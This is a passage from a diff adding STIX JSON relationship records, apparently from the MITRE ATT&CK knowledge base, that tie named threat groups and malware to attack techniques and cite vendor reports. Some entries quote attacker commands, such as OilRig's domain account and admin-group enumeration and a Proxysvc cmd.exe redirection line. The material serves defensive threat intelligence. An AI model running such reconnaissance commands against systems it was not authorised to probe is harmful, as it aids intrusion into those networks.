+ { + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "source_name": "FireEye APT33 Webinar Sept 2017", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to get account listings on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that exfiltrates data over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) has the capability to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9fe01f98-e0b3-4749-b9a6-eb10c216c548", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) used a SharePoint enumeration and data dumping tool known as spwebmember.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9725630d-a737-43dd-a68f-a09987735846", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exploited Microsoft Word vulnerability CVE-2014-4114 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--935f9bb6-d38d-42d1-a764-6b5110ad5364", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.320Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about network adapters.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e534bf54-5f9f-4d5f-bd9d-260e56da4951", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.729Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--ab069468-3dff-4c77-9293-adb0b2627a4e", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA Shell Crew", + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--56e08b91-312e-4e22-b1d7-4a0742883881", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can sniff plaintext network credentials and use NBNS Spoofing to poison name services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a9bbbd0f-3f45-4efa-9e6b-56ed2c9b9126", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called MailSniper to search through the Exchange server mailboxes for keywords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f1f879a7-cd1e-4865-bc6a-9b42d36df62b", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.474Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) encrypts command and control communications with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--93f51dcb-f2cf-4aa2-880d-c2b9388252ff", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of logging keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--062874d1-8ca9-400f-8367-670b9c7c3280", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) lists processes running on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c407e138-4e68-46e9-b41d-4447a282a1fd", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses single-byte XOR obfuscation to obfuscate many of its files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can decode contents from a payload that was Base64 encoded and write the contents to a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1b1e5d59-20a4-4915-a553-4db606d8121d", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT28](https://attack.mitre.org/groups/G0007) downloads and executes PowerShell scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--16e90509-5ea2-48ff-8e09-686dcfddbb3b", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ec362b37-1a64-4b28-8d34-7819d0aa5b2a", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.108Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) collects the username from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f5bbb96e-40b9-4a8c-a53d-bcd843daeac2", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) executes a binary on the system and logs the results into a temp file by using: cmd.exe /c \" > %temp%\\PM* .tmp 2>&1\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--deae71f8-d849-484f-b49d-757356e195c5", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.256Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a581ef45-9363-4fdc-b0ff-20436eaffaab", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC during and post compromise cleanup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fd763f17-409d-428b-825c-f731b0ad88cc", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used brute force techniques to obtain credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7f7226d7-6980-402a-b10e-e81b50c7ee09", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.145Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, evading SSL man-in-the-middle decryption attacks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--f146a331-3595-46be-abef-518708e34def", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Pasam](https://attack.mitre.org/software/S0208) connects to external C2 infrastructure and opens a backdoor over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1d8a76f0-9818-4da4-8ec0-79a61311fea6", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Gazer](https://attack.mitre.org/software/S0168) communicates with its C2 servers over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--61047751-c353-4190-bc37-19ad959bc35e", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) is capable of file deletion along with other file system interaction.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can interact with a victim\u2019s Outlook session and look through folders and emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5c736aad-9847-4059-9d1e-dc2f551952d0", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.897Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) encodes C2 traffic with Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9cf37d0b-a23d-4514-961d-94d1cc6e2bef", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) has been packed with the UPX packer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8a48e56d-f837-4a5a-99b6-db0f60b541a0", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 